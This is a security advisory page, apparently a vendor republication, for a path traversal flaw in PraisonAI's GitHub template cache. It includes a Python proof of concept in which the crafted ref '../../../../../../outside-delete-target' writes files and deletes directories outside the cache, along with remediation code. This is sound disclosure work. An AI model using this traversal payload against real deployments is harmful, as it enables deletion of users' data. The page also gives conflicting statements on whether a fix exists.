Summary
PraisonAI's template loader accepts GitHub template URIs with refs, for examplegithub:owner/repo/[email protected]. The resolver stores the user-controlled
template path and ref verbatim, and the cache layer later joins those values into~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without
normalizing each segment or checking that the final path remains inside the
template cache root.
A crafted ref such as ../../../../../../outside-delete-target therefore
escapes the cache directory. The first load can write .cache_meta.json outside
the cache. If the normal cache hierarchy for the same owner/repo/template has
already been created, the same path reaches shutil.rmtree(cache_path) and
removes an attacker-selected outside directory before replacing it with cache
metadata.
This is distinct from the old template Zip Slip advisory. No malicious archive
member is needed, and the PoV disables network access entirely. The bug is in
cache-key construction for GitHub template URIs.
Affected versions
Confirmed vulnerable:
v2.6.0v3.9.24v3.9.26v4.5.126v4.5.128v4.6.9v4.6.10v4.6.56v4.6.57- current head
2f9677abb2ea68eab864ee8b6a828fd0141612e1
Recommended affected range: >= 2.6.0, <= 4.6.57.
No fixed version is known at the time of this report.
Root cause
Current-head code path:
praisonai/templates/resolver.py:GITHUB_PATTERNcapturespathandref
with broad regex groups and returns them without segment validation.praisonai/templates/security.py:is_source_allowed()allows GitHub sources
by default whenallow_any_githubis true.praisonai/templates/registry.py:get_template()resolves a GitHub URI,
fetches the template, calculates a checksum, then callsself.cache.put(...).praisonai/templates/cache.py:_get_cache_path()builds the cache path asself.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref.praisonai/templates/cache.py:put()removes an existingcache_pathwithshutil.rmtree(cache_path), recreates it, copies content, and writes.cache_meta.json.
There is no check equivalent to:
- reject absolute path segments;
- reject
./..in owner, repo, template path, or ref; - resolve the candidate path;
- require
os.path.commonpath([cache_root, candidate]) == cache_root.
Local-only PoV
Run from a PraisonAI source checkout:
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry
def loader(cache_dir):
cache = TemplateCache(cache_dir=cache_dir)
registry = TemplateRegistry(cache=cache, offline=False)
registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
RuntimeError("network disabled")
)
return TemplateLoader(cache=cache, registry=registry)
with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
root = Path(tmp)
cache_dir = root / "cache" / "templates"
write_target = root / "outside-write-target"
loader(cache_dir).load(
"github:attacker/repo/template@../../../../../../outside-write-target"
)
delete_target = root / "outside-delete-target"
delete_target.mkdir()
canary = delete_target / "canary.txt"
canary.write_text("delete-me")
ldr = loader(cache_dir)
ldr.load("github:attacker/repo/template@main")
ldr.load(
"github:attacker/repo/template@../../../../../../outside-delete-target"
)
safe_target = root / "safe-control"
safe_target.mkdir()
safe_canary = safe_target / "canary.txt"
safe_canary.write_text("must-remain")
loader(root / "safe-cache" / "templates").load(
"github:attacker/repo/template@main"
)
print("outside metadata written:", (write_target / ".cache_meta.json").exists())
print("outside canary exists after malicious ref:", canary.exists())
print("safe canary exists after normal ref:", safe_canary.exists())
Expected output:
outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: True
The PoV uses only temporary directories and disables network fetches.
I also confirmed the same behavior without monkeypatching network fetches. With
a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles
the failed fetch, returns a fallback template config, and still writes/deletes
through the escaped cache path. The PoV above disables network only to keep the
reproducer deterministic and harmless.
Release sweep
The same PoV was run against checked-out tags:
praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True
git log shows the affected template cache/resolver/registry files were added
in the v2.6.0 release commit e7a8ce8e.
Impact
An attacker who can cause a user or service to load an attacker-supplied
PraisonAI GitHub template URI can:
- create
.cache_meta.jsonoutside the template cache directory; - delete a directory reachable by the PraisonAI process after a normal cache
entry exists for the same owner/repo/template prefix; - corrupt user configuration, project state, or application data reachable by
the process permissions.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
GHSA-F44V-7QGW-9GH9 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.6.59); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Validate every cache path segment before joining:
- owner and repo: strict GitHub owner/repo-name regex;
- template path: split on
/and reject empty,.,.., and absolute forms; - ref: reject
/, path separators, empty segments,.,.., and absolute
forms, or encode/hash the ref before using it in a filesystem path.
Then enforce a final boundary check:
cache_root = self.cache_dir.resolve()
candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
raise ValueError("template cache path escapes cache root")
A more robust design is to hash untrusted URI fields into opaque directory names
instead of using raw remote identifiers as path segments.
Also consider failing closed when a GitHub template fetch returns no files.
Currently a failed fetch can still result in a cached empty template directory.
Frequently Asked Questions
- What is GHSA-F44V-7QGW-9GH9? GHSA-F44V-7QGW-9GH9 is a high-severity path traversal vulnerability in praisonai (pip), affecting versions >= 2.6.0, <= 4.6.57. It is fixed in 4.6.59. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is GHSA-F44V-7QGW-9GH9? GHSA-F44V-7QGW-9GH9 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of praisonai are affected by GHSA-F44V-7QGW-9GH9? praisonai (pip) versions >= 2.6.0, <= 4.6.57 is affected.
- Is there a fix for GHSA-F44V-7QGW-9GH9? Yes. GHSA-F44V-7QGW-9GH9 is fixed in 4.6.59. Upgrade to this version or later.
- Is GHSA-F44V-7QGW-9GH9 exploitable, and should I be worried? Whether GHSA-F44V-7QGW-9GH9 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-F44V-7QGW-9GH9 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-F44V-7QGW-9GH9? Upgrade
praisonaito 4.6.59 or later.